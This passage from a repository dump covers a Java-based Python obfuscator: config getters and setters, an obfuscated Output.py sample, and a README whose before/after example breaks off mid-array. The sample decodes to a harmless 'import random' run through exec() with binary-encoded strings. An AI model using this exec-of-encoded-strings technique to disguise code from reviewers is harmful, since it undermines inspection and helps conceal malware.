| } 69 | 70 | /** 71 | * @param classNames the value set by {@link ConfigLoader} 72 | */ 73 | public void setClassNames(boolean classNames) { 74 | this.classNames = classNames; 75 | } 76 | 77 | /** 78 | * @return the length of the obfuscated names {@link org.madmeg.impl.tasks.RenameClass}, 79 | * {@link org.madmeg.impl.tasks.RenameVars}, {@link org.madmeg.impl.tasks.RenameFunction} 80 | */ 81 | public int getNameLength() { 82 | return nameLength; 83 | } 84 | 85 | /** 86 | * @param nameLength the value set by {@link ConfigLoader} 87 | */ 88 | public void setNameLength(int nameLength) { 89 | this.nameLength = nameLength; 90 | } 91 | 92 | /** 93 | * @return the prefix at the start of every obfuscated name {@link org.madmeg.impl.tasks.RenameClass}, 94 | * {@link org.madmeg.impl.tasks.RenameVars}, {@link org.madmeg.impl.tasks.RenameFunction} 95 | */ 96 | public String getNamePrefix() { 97 | return namePrefix; 98 | } 99 | 100 | /** 101 | * @param namePrefix the value set by {@link ConfigLoader} 102 | */ 103 | public void setNamePrefix(String namePrefix) { 104 | this.namePrefix = namePrefix; 105 | } 106 | 107 | /** 108 | * @return if the obfuscator should insert random functions 109 | */ 110 | public boolean isInsertGarbage() { 111 | return insertGarbage; 112 | } 113 | 114 | 115 | /** 116 | * @param insertGarbage the value set by {@link ConfigLoader} 117 | */ 118 | public void setInsertGarbage(boolean insertGarbage) { 119 | this.insertGarbage = insertGarbage; 120 | } 121 | 122 | /** 123 | * @return the number of lines hte obfuscator should skip before inserting garbage with {@link org.madmeg.impl.tasks.AddGarbage} 124 | */ 125 | public int getGarbageAmount() { 126 | return garbageAmount; 127 | } 128 | 129 | /** 130 | * @param garbageAmount the value set by {@link ConfigLoader} 131 | */ 132 | public void setGarbageAmount(int garbageAmount) { 133 | this.garbageAmount = garbageAmount; 134 | } 135 | 136 | /** 137 | * @return the number of lines taken up by garbage {@link org.madmeg.impl.tasks.AddGarbage} 138 | */ 139 | public int getGarbageLength() { 140 | return garbageLength; 141 | } 142 | 143 | /** 144 | * @param garbageLength the value set by {@link ConfigLoader} 145 | */ 146 | public void setGarbageLength(int garbageLength) { 147 | this.garbageLength = garbageLength; 148 | } 149 | 150 | /** 151 | * @return if the obfuscator should remove comments {@link org.madmeg.impl.tasks.RemoveComments} 152 | */ 153 | public boolean isRemoveComments() { 154 | return removeComments; 155 | } 156 | /** 157 | * @param removeComments the value set by {@link ConfigLoader} 158 | */ 159 | public void setRemoveComments(boolean removeComments) { 160 | this.removeComments = removeComments; 161 | } 162 | 163 | /** 164 | * @return if the obfuscator should encode imports {@link org.madmeg.impl.tasks.EncodeImports} 165 | */ 166 | public boolean isEncodeImports() { 167 | return encodeImports; 168 | } 169 | 170 | /** 171 | * @param encodeImports the value set by {@link ConfigLoader} 172 | */ 173 | public void setEncodeImports(boolean encodeImports) { 174 | this.encodeImports = encodeImports; 175 | } 176 | 177 | /** 178 | * @return the length of the garbage in the encoded import list {@link org.madmeg.impl.tasks.EncodeImports} 179 | */ 180 | public int getEncodedListGarbageLength() { 181 | return encodedListGarbageLength; 182 | } 183 | 184 | /** 185 | * @param encodedListGarbageLength the value set by {@link ConfigLoader} 186 | */ 187 | public void setEncodedListGarbageLength(int encodedListGarbageLength) { 188 | this.encodedListGarbageLength = encodedListGarbageLength; 189 | } 190 | 191 | /** 192 | * @return the type of encoding {@link org.madmeg.impl.tasks.EncodeImports} 193 | */ 194 | public String getEncoderType() { 195 | return encoderType; 196 | } 197 | 198 | /** 199 | * @param encoderType the value set by {@link ConfigLoader} 200 | */ 201 | public void setEncoderType(String encoderType) { 202 | this.encoderType = encoderType; 203 | } 204 | 205 | /** 206 | * @return the char used to split blocks of binary in encoding {@link org.madmeg.impl.tasks.EncodeImports}, {@link org.madmeg.impl.tasks.EncodeString} 207 | */ 208 | public String getBinarySplitter() { 209 | return binarySplitter; 210 | } 211 | /** 212 | * @param binarySplitter the value set by {@link ConfigLoader} 213 | */ 214 | public void setBinarySplitter(String binarySplitter) { 215 | this.binarySplitter = binarySplitter; 216 | } 217 | 218 | public boolean isEncodeStrings() { 219 | return encodeStrings; 220 | } 221 | 222 | public void setEncodeStrings(boolean encodeStrings) { 223 | this.encodeStrings = encodeStrings; 224 | } 225 | 226 | public boolean isEncodeInts() { 227 | return encodeInts; 228 | } 229 | 230 | public void setEncodeInts(boolean encodeInts) { 231 | this.encodeInts = encodeInts; 232 | } 233 | 234 | public boolean isEncodeCode() { 235 | return encodeCode; 236 | } 237 | 238 | public void setEncodeCode(boolean encodeCode) { 239 | this.encodeCode = encodeCode; 240 | } 241 | 242 | public String getMapPath() { 243 | return mapPath; 244 | } 245 | 246 | public void setMapPath(String mapPath) { 247 | this.mapPath = mapPath; 248 | } 249 | } 250 | -------------------------------------------------------------------------------- /Output.py: -------------------------------------------------------------------------------- 1 | #Obfuscated By 0x0001 2 | 3 | w3PMkSSCQNotgKuAvGRGLo = ["01101000%01101001%01100101%01000110%01100100%01000011%01110110%01110000%01101110%01011000%01001111%01100111%01011010%01101000%01100111%01000011%01110011%01101110%01110001%01011000%01100011%01001010%01010100%01010101%01000001%01011000%01010101%01101110%01100111%01110101%01010000%01011001%01111000%01000100%01001101%01001100%01010101%01110011%01001000%01100010%01000110%01101100%01101111%01010000%01101101%01010111%01011000%01101110%01000001%01110001%01000100%01100011%01010110%01111010%01111000%01001000%01100010%01010110%01010101%01100100%01110011%01110001%01000001%01111001%01000101%01000011%01101100%01100110%01110101%01001010%01001000%01100001%01010101%01110101%01101100%01010111%01110001%01000010%01110101%01100111%01101111%01111010%01110011%01100111%01001011%01000001%01100111%01101111%01111010%01100111%01001000%01100100%01000010%01100111%01110010%01101001%01111001%01001110%01110001%01101010", "01010111%01100101%01011000%01001111%01000010%01010001%01100011%01110100%01000001%01110101%01101101%01010010%01100010%01011000%01000011%01110110%01000101%01000100%01001100%01001100%01110100%01001001%01011000%01100001%01001010%01101101%01010101%01110101%01010101%01000110%01101010%01010000%01110110%01010000%01001100%01011010%01011001%01100011%01100010%01101101%01010000%01010110%01111001%01011001%01001100%01001000%01010001%01110101%01000110%01100101%01010011%01101000%01000111%01110000%01010101%01100011%01000010%01001100%01101001%01011000%01101000%01111000%01110001%01110101%01011000%01100100%01101100%01111010%01000010%01001011%01110100%01001001%01001101%01110010%01001111%01001001%01001001%01101111%01010001%01101010%01110010%01000111%01000111%01110000%01110000%01001000%01100100%01000110%01100101%01110011%01110000%01001011%01010001%01101000%01010000%01000100%01000011%01011000%01000100%01110110", "01100100%01110001%01110100%01010011%01101001%01101010%01000001%01110001%01110100%01101010%01110010%01011010%01010011%01001100%01110011%01001110%01000111%01100111%01010011%01000010%01010010%01101100%01000010%01000111%01001011%01000111%01000110%01001100%01101111%01110000%01001000%01011000%01101010%01010001%01011000%01111000%01110100%01001000%01111010%01001101%01010011%01011000%01100011%01101000%01010000%01100101%01010001%01000010%01101010%01111001%01100111%01000010%01010000%01101010%01101000%01010101%01101101%01010101%01110100%01100101%01001000%01011001%01110000%01001110%01000110%01010101%01110011%01010101%01000110%01000011%01110101%01110011%01010101%01000101%01100101%01100101%01100001%01010100%01110101%01100011%01110110%01101101%01100011%01010000%01101001%01011001%01100101%01110100%01100010%01110000%01110110%01010100%01010111%01110010%01010110%01101101%01001001%01010000%01101100%01110011", "01111000%01101111%01110011%01010110%01001101%01010001%01110001%01001100%01100110%01110010%01001111%01101101%01110010%01010101%01101100%01011010%01100010%01101100%01000010%01110010%01000010%01010111%01001010%01010010%01110000%01100010%01100001%01001010%01101101%01110011%01001110%01001110%01010111%01101001%01000001%01101001%01100101%01001110%01111010%01100001%01000001%01001100%01010001%01010011%01000001%01001110%01100110%01110000%01110110%01100100%01001010%01110010%01101000%01101111%01110001%01010101%01001011%01010101%01101010%01001100%01010101%01101111%01101100%01010101%01001000%01011001%01101100%01011010%01101011%01000101%01010010%01010010%01000010%01101111%01000001%01101000%01101011%01000010%01000011%01010100%01111010%01000110%01100101%01111000%01000110%01101111%01110110%01101001%01101100%01101011%01000001%01101011%01100101%01001001%01001110%01101010%01011010%01001001%01110001%01001100", "01110001%01001111%01011000%01100110%01010101%01001101%01111000%01001110%01100100%01010000%01000111%01000010%01100100%01011001%01011001%01000110%01110001%01000001%01010000%01101001%01001011%01101110%01001011%01100101%01011001%01001001%01110000%01110001%01010101%01000100%01000100%01001011%01110011%01101111%01001110%01100011%01111001%01010010%01110001%01001111%01001000%01101000%01010111%01000100%01111000%01111010%01010010%01111000%01110101%01000010%01110000%01101110%01110110%01011001%01100111%01001011%01100001%01001000%01010010%01110001%01001110%01000100%01110101%01100010%01001110%01101111%01010001%01010110%01100110%01101010%01010001%01101011%01111000%01100010%01010000%01100100%01110011%01011010%01110110%01101000%01000001%01001010%01100111%01111000%01110101%01011000%01000101%01110010%01110010%01110100%01011000%01010011%01111000%01001011%01101000%01001110%01001100%01010010%01011000%01000111", "01010111%01111001%01001010%01000001%01101011%01110110%01010111%01101001%01101011%01001001%01010001%01001001%01101001%01100101%01001001%01101100%01000001%01001101%01000101%01010110%01010110%01000111%01111010%01001100%01010001%01011001%01100100%01100100%01000101%01100100%01011010%01100101%01001110%01001000%01100010%01000010%01101111%01101100%01110001%01001111%01001000%01010001%01010101%01100100%01111000%01001111%01101010%01010110%01100110%01101011%01001101%01011000%01101001%01001100%01000101%01001000%01101011%01110000%01100010%01010111%01000001%01000010%01010010%01110101%01001101%01001101%01011000%01000110%01111010%01110001%01110011%01111001%01101101%01100111%01010111%01110100%01000101%01100101%01101111%01100100%01010111%01110101%01000110%01010111%01011000%01010011%01010111%01110001%01111010%01011010%01101011%01010011%01110010%01000110%01001111%01000001%01110110%01000011%01110100%01011000", "01010110%01001011%01101000%01000111%01000111%01100100%01000011%01111000%01100111%01000011%01100110%01101100%01100110%01111001%01111010%01001101%01000011%01100111%01101111%01001100%01100010%01100110%01101001%01100001%01010101%01000101%01100100%01011010%01010001%01010011%01101000%01101111%01110000%01001101%01101010%01010101%01000101%01000011%01001111%01100010%01101011%01000111%01101010%01010010%01110110%01010011%01010001%01110100%01011001%01101001%01100100%01000100%01101011%01110010%01100100%01111001%01101100%01000010%01001001%01101101%01010110%01001100%01110000%01001011%01000001%01011001%01101100%01010001%01001010%01010001%01000100%01110110%01011010%01100100%01101101%01111010%01011010%01010110%01111001%01100001%01001110%01010010%01000110%01101001%01011001%01100110%01101101%01010011%01110100%01001100%01110100%01001110%01110110%01101000%01001110%01001101%01100101%01010101%01110001%01001100", "01011010%01001110%01110010%01100010%01000111%01110011%01111000%01111001%01100011%01000011%01000011%01101101%01000111%01110010%01100101%01110101%01001111%01010000%01011010%01100100%01110001%01101010%01100101%01001010%01000110%01010101%01100100%01010100%01111010%01101010%01110001%01010011%01100101%01100111%01011010%01101111%01101000%01110010%01010000%01110001%01011001%01100111%01110001%01000100%01001010%01110101%01110010%01100100%01001000%01101111%01000001%01111001%01100001%01000111%01110011%01001110%01000010%01001000%01000011%01100101%01100011%01100001%01110011%01010100%01110010%01110101%01010100%01011000%01010010%01101011%01010011%01011010%01001010%01010111%01111010%01100110%01001101%01010000%01110010%01110000%01000110%01010000%01101101%01011010%01010110%01101111%01101101%01110100%01000101%01101110%01000100%01001010%01001100%01001101%01010000%01111001%01110101%01000101%01110110%01111000", "01001110%01001011%01001000%01010110%01100111%01111000%01000011%01001010%01011000%01101001%01110010%01000010%01110010%01010110%01111001%01011000%01000111%01000001%01101110%01010110%01100010%01000100%01101011%01000010%01000100%01001110%01110010%01101011%01010101%01110101%01000101%01000100%01000001%01000111%01010010%01000010%01101010%01101000%01000110%01011010%01000110%01100001%01100101%01110000%01100100%01010110%01010010%01001001%01001110%01101011%01010001%01110001%01100101%01100001%01100101%01110000%01010011%01001011%01110011%01001110%01000101%01001111%01010100%01111000%01101110%01110110%01101000%01011010%01001001%01000101%01101100%01101001%01101110%01010101%01101111%01001110%01000100%01101110%01001011%01000111%01101010%01001010%01001011%01011001%01100010%01010111%01110011%01101110%01110010%01010000%01000110%01110001%01111001%01111000%01111001%01001101%01101001%01101110%01100111%01101010", "01001100%01110110%01010001%01000010%01101001%01100101%01110010%01100001%01001011%01111001%01101001%01001101%01110011%01001100%01010010%01010000%01001100%01010010%01101000%01100001%01000101%01111001%01010101%01101001%01110110%01010111%01000011%01100011%01001100%01101100%01011000%01010101%01101110%01100111%01010100%01000001%01001101%01101100%01110101%01100100%01100001%01100010%01001100%01011001%01100101%01011001%01111001%01000010%01101011%01100001%01100110%01001000%01010010%01110000%01111010%01001100%01010011%01001000%01100011%01000111%01001001%01000110%01001001%01101111%01011010%01000111%01010100%01011000%01111001%01110011%01000011%01001011%01000101%01010111%01010111%01100101%01101111%01111000%01110011%01111000%01001100%01110110%01101100%01101001%01010101%01101001%01101011%01000010%01001110%01110010%01000011%01101110%01011010%01010010%01001001%01001000%01110000%01101010%01100111%01001001", "01100010%01101100%01110000%01010101%01100111%01010111%01000101%01001110%01110010%01110100%01110101%01100100%01010110%01010010%01011001%01100100%01110110%01000100%01101010%01010000%01100001%01010100%01101110%01000100%01101101%01101110%01101101%01101110%01001001%01010001%01100011%01100100%01001100%01001111%01110110%01101110%01111010%01000110%01010011%01010010%01110011%01110010%01110011%01110010%01101101%01100110%01000101%01101110%01110011%01101111%01001111%01100001%01001111%01011001%01001011%01110001%01100100%01111010%01001100%01010011%01101000%01001011%01000101%01110000%01010010%01010110%01010000%01010100%01101010%01101010%01010100%01011001%01011001%01000011%01100010%01011010%01001010%01010011%01000111%01101000%01001101%01110100%01000010%01010100%01110100%01000011%01100101%01101100%01011001%01001011%01110100%01001110%01110100%01010010%01011001%01110100%01001111%01000011%01001111%01101111", "01110000%01100010%01111010%01110100%01100101%01110011%01111000%01100011%01001001%01110000%01010111%01011001%01000010%01101011%01001000%01110010%01101110%01011000%01110101%01001111%01110101%01111001%01101001%01010100%01111001%01101001%01000111%01001111%01011000%01010000%01000110%01010001%01001010%01100100%01101111%01010111%01101011%01101110%01111001%01001100%01110000%01110011%01000111%01000101%01011000%01010000%01001000%01101100%01101011%01010101%01111001%01000010%01100001%01001000%01100110%01000100%01110011%01001100%01110100%01100101%01110000%01000111%01101010%01100101%01101100%01000111%01010111%01111000%01001110%01010010%01000110%01000001%01010010%01100010%01110110%01101000%01011001%01000111%01100101%01001010%01010101%01100110%01110001%01111010%01101000%01000111%01110110%01010001%01111001%01100111%01100011%01100110%01001101%01110110%01100111%01010000%01000110%01111000%01000101%01101110", "01010000%01100110%01100101%01000100%01101110%01100001%01101110%01110100%01011010%01110100%01010011%01101001%01001011%01001011%01011000%01001111%01001111%01001101%01001000%01010000%01111000%01110001%01011001%01100011%01100110%01101101%01010101%01001101%01100011%01100101%01001100%01100100%01010101%01100111%01100101%01101100%01110101%01000010%01101011%01010011%01010010%01101010%01110110%01001001%01000101%01111010%01101000%01001001%01110100%01011001%01100011%01000010%01101100%01000110%01100011%01100011%01101110%01010101%01110010%01100111%01000111%01110001%01101100%01011001%01110001%01010001%01110101%01010111%01011000%01111001%01110011%01001100%01010111%01011000%01111010%01011000%01111001%01001011%01001000%01000111%01110011%01011000%01110001%01010001%01110110%01001111%01100011%01010111%01110101%01000010%01000001%01100100%01111010%01100011%01000011%01001101%01111000%01100011%01100111%01101101", "01100011%01001011%01110100%01111000%01010110%01100010%01010011%01111001%01001000%01010110%01000001%01010101%01000001%01100110%01000011%01000101%01010101%01001101%01010100%01101000%01001010%01110100%01111001%01110101%01000010%01110000%01101111%01110110%01110101%01011001%01010001%01101101%01010110%01001111%01011000%01100011%01101010%01100100%01000010%01011001%01001000%01101011%01010001%01100110%01001111%01101001%01101111%01101110%01111001%01100111%01111000%01100111%01100100%01010010%01001111%01001101%01110011%01000100%01011010%01101101%01100011%01000010%01001100%01100111%01010000%01001011%01001011%01111010%01100010%01101100%01101000%01010101%01101000%01000011%01000101%01101100%01110110%01010010%01100110%01000001%01100101%01110001%01000100%01001011%01111000%01001001%01010000%01000111%01110011%01101101%01100111%01111001%01100011%01110101%01110011%01100010%01101011%01100011%01101001%01101010", "01010000%01000001%01000001%01001001%01110001%01000011%01010010%01001101%01101010%01001101%01101101%01101001%01101000%01001101%01101011%01010100%01011001%01000001%01111010%01101100%01100011%01000101%01110101%01010101%01110100%01011010%01110100%01100110%01101111%01110110%01110000%01011001%01110001%01110100%01000001%01110000%01101100%01110000%01100010%01100110%01010101%01001000%01111010%01000100%01100011%01101100%01010100%01010011%01001000%01001011%01111000%01100010%01010000%01001000%01101100%01110010%01010110%01010001%01000010%01010101%01000111%01010110%01010111%01101011%01001111%01010000%01101011%01000011%01001100%01001001%01010000%01111000%01101011%01010111%01110010%01010101%01011010%01010101%01111000%01101101%01101011%01101100%01100101%01010110%01000110%01000101%01000110%01111001%01110101%01100010%01100001%01011000%01100011%01100100%01001000%01101000%01111010%01101000%01101111%01001100", "01110000%01000011%01001011%01111010%01001101%01101111%01000111%01011010%01100011%01100010%01011000%01000110%01101100%01100100%01101001%01110100%01110010%01101110%01100001%01010000%01000101%01110000%01100010%01001000%01100001%01100001%01010010%01000110%01110000%01010001%01000011%01110010%01000001%01001000%01111001%01001010%01101100%01000110%01010101%01101101%01000100%01110010%01100010%01101010%01111000%01001001%01000100%01100101%01100101%01100001%01001101%01101001%01000111%01010010%01000101%01101010%01010001%01001011%01100110%01001100%01100001%01001101%01010011%01001110%01110010%01110110%01110011%01001111%01101011%01101101%01000101%01010101%01000100%01000010%01101001%01010100%01110010%01001000%01101001%01001101%01001100%01001001%01111010%01100111%01010001%01010000%01000101%01101001%01000001%01000111%01010001%01101011%01100101%01101111%01101100%01011000%01100101%01101010%01010110%01110101", "01001010%01000011%01100110%01110110%01010000%01010010%01000001%01000010%01100110%01011000%01101011%01011001%01010101%01010100%01011010%01010010%01110101%01010000%01100001%01011000%01001100%01001001%01010101%01001100%01000111%01111010%01101101%01010001%01101110%01000110%01001000%01100001%01101011%01110011%01101110%01110001%01000110%01101100%01010001%01111000%01000110%01011001%01001110%01001100%01100011%01001010%01101010%01100111%01010100%01001100%01001010%01001001%01010100%01100111%01100001%01110011%01000110%01110000%01001000%01111001%01010101%01101101%01110101%01100111%01101101%01101010%01011001%01100100%01110011%01000010%01001011%01100100%01001111%01101011%01110100%01001100%01011001%01101110%01110100%01010000%01101110%01010111%01010010%01101001%01001010%01101100%01010001%01001010%01110011%01110011%01100110%01011001%01100011%01001000%01001000%01001100%01000101%01101101%01101001%01110010", "01100001%01010111%01100001%01100101%01110000%01010101%01101110%01110010%01101011%01100001%01010011%01101011%01010010%01111000%01110100%01000001%01001110%01000100%01000011%01001111%01110010%01010010%01000100%01101011%01000110%01110110%01100110%01011001%01101101%01100010%01011010%01110110%01010010%01001100%01001000%01000100%01110011%01100111%01110001%01000011%01100111%01010010%01000101%01100001%01100100%01000101%01100101%01111000%01001001%01100101%01011000%01000111%01100010%01000010%01110001%01100011%01101010%01001000%01001111%01100110%01110110%01010110%01101100%01011010%01001010%01101101%01110110%01000011%01010001%01100011%01010000%01101010%01100001%01001011%01101110%01110011%01001110%01010000%01101000%01110010%01011000%01101000%01101101%01001100%01101011%01110001%01011000%01001111%01000001%01000110%01010111%01001001%01010011%01101010%01011000%01100111%01100011%01101011%01110001%01001101", "01111001%01111000%01010110%01000111%01110011%01110110%01001001%01100100%01111000%01001111%01100010%01101100%01010011%01010101%01000101%01100001%01110100%01010001%01010101%01001100%01010001%01001001%01000111%01010111%01110001%01101100%01000010%01110101%01010110%01100100%01011010%01000100%01001101%01110110%01010111%01110100%01001000%01001011%01100001%01101101%01100101%01001011%01000001%01101000%01001011%01010010%01111010%01011000%01001000%01101001%01001111%01100110%01001011%01111000%01101110%01000101%01110110%01011000%01001011%01111001%01110001%01010101%01110101%01110011%01000100%01000001%01110101%01101110%01100011%01111010%01010100%01101001%01011000%01010100%01011000%01001111%01100101%01001110%01010011%01010110%01111000%01101111%01001010%01110100%01100110%01110001%01000101%01001010%01001001%01000010%01100111%01001100%01001001%01101100%01010001%01011000%01110001%01010011%01000110%01000110", "01101001%01101101%01110000%01101111%01110010%01110100%00100000%01110010%01100001%01101110%01100100%01101111%01101101"] 4 | exec(''.join(chr(int(w3PMkSSCQNotgKuAvGRGLo[0x00013].replace('%', '')[i*0x0008:i*0x0008+0x0008],(0x0003 - 0x0001))) for i in range(len(w3PMkSSCQNotgKuAvGRGLo[0x00013].replace('%', ''))//(0x0004 + 0x0004)))) 5 | 6 | class w3KpXoPscpuPqQnJymvcVi(): 7 | def __init__(self): 8 | print(''.join(chr(int(('01110100%01100101%01110011%01110100').replace('%', '')[i*0x0008:i*0x0008+0x0008],(0x0003 - 0x0001))) for i in range(len(('01110100%01100101%01110011%01110100').replace('%', ''))//(0x0004 + 0x0004))) + ''.join(chr(int(('00100000%01100001%01110011%01100100%01100001%01110011%01100100').replace('%', '')[i*0x0008:i*0x0008+0x0008],(0x0003 - 0x0001))) for i in range(len(('00100000%01100001%01110011%01100100%01100001%01110011%01100100').replace('%', ''))//(0x0004 + 0x0004)))) 9 | print(random.seed(0x0007)) 10 | w3NujkRDVlYPWPblNyAXNP = w3KpXoPscpuPqQnJymvcVi() 11 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | logo 2 | 3 |
4 |

5 | Python Obfuscator by 0x0001 6 |

7 |

8 | Writen in java 15 9 |

10 |

11 | Documentation 12 |

13 |

14 |

How to use the Obfuscator

15 |
    16 |
  1. You will need java 15 installed.
  2. 17 |
  3. Create a config file or download the one from github.
  4. 18 |
  5. Double click the jar file to open the gui
  6. 19 |
  7. The output file will be in the same directory as the jar file.
  8. 20 |
21 |

22 |

Example

23 |
24 | 25 | **Before :** 26 | ```python 27 | import random 28 | 29 | class Example(): 30 | def __init__(self): 31 | print("test" + ' asdasd') # test 32 | print(random.seed(7)) 33 | 34 | test = Example() 35 | ``` 36 | 37 | **After :** 38 | ```python 39 | w3BMOsdODFcIUXdpCGdyxh = ["01010010%01000011%01100010%01000100%01010000%01000100%01001010%01101101%01001100%01011000%01110010%01010101%01110100%01010011%01010011%01001100%01000011%01110001%01010000%01110010%01000011%01001010%01000100%01000001%01000011%01111010%01110001%01101010%01101001%01111000%01011010%01011010%01111010%01111010%01001111%01100100%01110010%01000010%01011001%01010100%01110110%01000010%01000001%01101011%01110011%01110000%01000011%01110101%01101101%01010011%01101100%01011000%01101000%01000011%01011010%01000110%01001101%01010010%01101101%01100100%01001111%01101111%01001100%01000100%01010001%01001101%01000011%01110011%01010111%01101001%01000010%01010001%01110010%01011010%01100111%01110011%01010011%01001111%01010011%01110000%01000001%01001110%01100100%01101001%01010000%01111000%01111000%01001111%01000111%01110000%01001100%01010010%01101110%01000100%01101011%01101101%01100111%01001010%01101000%01001110", "01111000%01101101%01101101%01100001%01011000%01100001%01011010%01100001%01111001%01101110%01000101%01000001%01101010%01101011%01100011%01000001%01001100%01100111%01001010%01001101%01000010%01000010%01100110%01111010%01101010%01011001%01100111%01101011%01101010%01010111%01110110%01010011%01111000%01001011%01010110%01111001%01000001%01101000%01111001%01100100%01010101%01110010%01100010%01011001%01001110%01010010%01000011%01010001%01110011%01001101%01001100%01001001%01101110%01010000%01101001%01000111%01101011%01010101%01101100%01101111%01110001%01101101%01001111%01101001%01110010%01001010%01100101%01001011%01110010%01100111%01100001%01010101%01100110%01001111%01100111%01001100%01101111%01110110%01101101%01100100%01001010%01010111%01011000%01010011%01101101%01001001%01000110%01010001%01110101%01010101%01110110%01101011%01001101%01110000%01001001%01101100%01001001%01001010%01110010%01000010", "01100101%01110101%01100011%01010110%01001010%01101101%01001001%01100100%01010111%01100100%01011010%01000101%01110100%01101101%01000010%01000111%01011010%01110110%01010111%01101101%01001100%01001110%01101010%01100010%01100010%01011000%01001100%01001001%01000110%01101000%01001101%01100010%01110001%01010100%01001111%01110011%01110100%01110110%01001110%01101100%01001010%01000011%01001100%01101011%01010011%01001011%01010010%01110101%01010010%01100100%01001010%01001101%01010001%01001001%01110000%01010010%01011001%01001011%01010000%01001101%01010101%01101001%01000001%01010100%01110110%01010101%01000101%01110010%01101100%01101111%01001100%01100101%01100111%01001111%01010001%01100101%01011010%01001000%01111000%01101001%01011001%01110101%01001000%01001101%01100001%01000010%01001000%01001000%01000100%01110101%01111010%01100110%01010100%01110100%01100011%01001010%01001010%01000110%01110010%01100100", "01110101%01001001%01100011%01110010%01001100%01001101%01001100%01110010%01110011%01010101%01101000%01010111%01000111%01111010%01000101%01010010%01000010%01001110%01110001%01000101%01101111%01101010%01001101%01001100%01001110%01110100%01100111%01010110%01000111%01110010%01110101%01111000%01010010%01011010%01001011%01001101%01101000%01000011%01001001%01110000%01001110%01100101%01101110%01010010%01111010%01101011%01100011%01110110%01100011%01100111%01101100%01110101%01001101%01001011%01010001%01100011%01101110%01011010%01110001%01010010%01000110%01000011%01110011%01001110%01001001%01111000%01000011%01001001%01100100%01001101%01001100%01001101%01001111%01101110%01110000%01100011%01000110%01101100%01000011%01000011%01111010%01011001%01000011%01100110%01110000%01000010%01000010%01001000%01110110%01101010%01001100%01001011%01001100%01001001%01110110%01010010%01101100%01101000%01101110%01011000", "01010101%01010011%01101100%01000100%01010100%01010000%01001101%01110001%01100111%01100110%01010011%01100100%01010110%01000111%01001001%01010100%01101110%01010110%01000001%01001010%01001000%01011001%01010111%01110000%01010011%01110101%01010010%01101110%01101011%01001101%01110000%01011000%01100110%01110011%01101001%01000100%01111001%01110100%01100101%01111010%01001101%01001010%01001001%01101000%01010101%01100001%01110011%01110000%01100111%01001101%01100110%01100110%01011010%01001001%01110000%01010001%01100100%01110101%01001100%01010110%01011000%01101100%01101001%01010100%01000100%01000101%01100111%01000111%01111000%01000100%01110010%01110110%01100011%01001011%01111001%01010001%01011000%01001010%01101101%01010010%01100011%01001010%01101000%01001111%01010010%01110010%01110000%01000101%01101001%01010001%01011000%01001010%01100110%01011001%01010111%01101111%01101011%01100111%01101110%01010110", "01010011%01101000%01110110%01100110%01101111%01001111%01000110%01010110%01110100%01010110%01110001%01110101%01001010%01001001%01101010%01010111%01000110%01000110%01101111%01000101%01000101%01110110%01111010%01001000%01000100%01100010%01011010%01011001%01010111%01111001%01000111%01001001%01010010%01101110%01100111%01100101%01110010%01111001%01001110%01101110%01101010%01101001%01010110%01110101%01101111%01000110%01010110%01010110%01010111%01000100%01000001%01010000%01111001%01010110%01010001%01101100%01000010%01001011%01101000%01011010%01010100%01001100%01001100%01010010%01001110%01110010%01101001%01011001%01011000%01001000%01111000%01100100%01110101%01001101%01010010%01010100%01010110%01110011%01010100%01100111%01010101%01100011%01101011%01011001%01100010%01110000%01001101%01001111%01011000%01101100%01010011%01100001%01001010%01001110%01110010%01110011%01010001%01111010%01111010%01111001", "01101100%01101100%01011000%01000010%01000010%01001010%01010001%01011000%01011010%01010111%01110011%01110000%01001000%01100111%01101010%01001101%01101001%01010001%01101111%01110100%01101000%01011010%01001101%01010000%01101101%01000011%01000110%01110100%01000101%01100111%01010100%01110010%01101111%01011010%01110110%01010000%01110011%01011001%01100011%01000100%01100110%01010011%01000110%01011000%01101001%01010001%01111010%01001011%01101111%01010100%01100011%01010010%01001001%01001101%01110001%01100101%01001000%01001000%01101011%01010101%01100010%01010101%01010010%01011000%01110011%01001101%01101101%01101000%01100010%01011010%01101011%01110000%01100100%01100001%01101011%01100001%01111000%01100101%01101111%01100001%01110110%01101110%01001001%01010110%01110101%01100101%01101010%01001011%01101011%01101011%01100011%01000110%01001001%01001000%01000110%01001101%01010111%01001101%01001011%01110001", "01100101%01100101%01000010%01001010%01101010%01111010%01010001%01010110%01001011%01100100%01101100%01101001%01000111%01010001%01111001%01100010%01100100%01110110%01100100%01001101%01100100%01010010%01100011%01011000%01100100%01010101%01000011%01101001%01101010%01101110%01001101%01101110%01101101%01001001%01101011%01000100%01001111%01010001%01100100%01010000%01100001%01000101%01001111%01010110%01111010%01100011%01000101%01010011%01001101%01010100%01000100%01101010%01001100%01100111%01100110%01000101%01000010%01110110%01001011%01010100%01010011%01000100%01101010%01010111%01011000%01101000%01100101%01010001%01011001%01111010%01001111%01010101%01100100%01010000%01100001%01000110%01100010%01101010%01101000%01111010%01001110%01000110%01001101%01010000%01011001%01100110%01000010%01010000%01011001%01100111%01000111%01100001%01100100%01011001%01100101%01000100%01111010%01000100%01000010%01110000", "01010001%01000010%01110001%01110010%01110011%01110010%01000010%01000110%01010100%01000011%01001101%01000101%01010110%01110100%01101110%01100101%01100111%01100100%01111000%01000010%01101001%01100101%01000010%01010100%01001011%01110001%01101111%01011010%01101011%01101010%01000101%01100001%01111001%01000100%01110100%01100100%01110100%01110100%01001010%01100011%01111001%01010101%01101100%01100101%01001110%01111000%01001001%01001001%01110010%01001110%01010000%01110001%01101110%01011010%01000010%01001110%01001101%01000101%01110100%01110011%01100011%01110101%01110010%01000100%01001111%01011001%01010010%01100101%01101101%01101101%01100010%01011001%01001110%01110001%01001001%01010010%01110000%01110100%01010001%01001101%01110101%01000100%01101100%01001101%01110011%01001100%01110000%01100111%01100100%01001011%01001101%01011010%01101111%01010111%01001010%01010000%01100111%01110100%01010110%01011001", 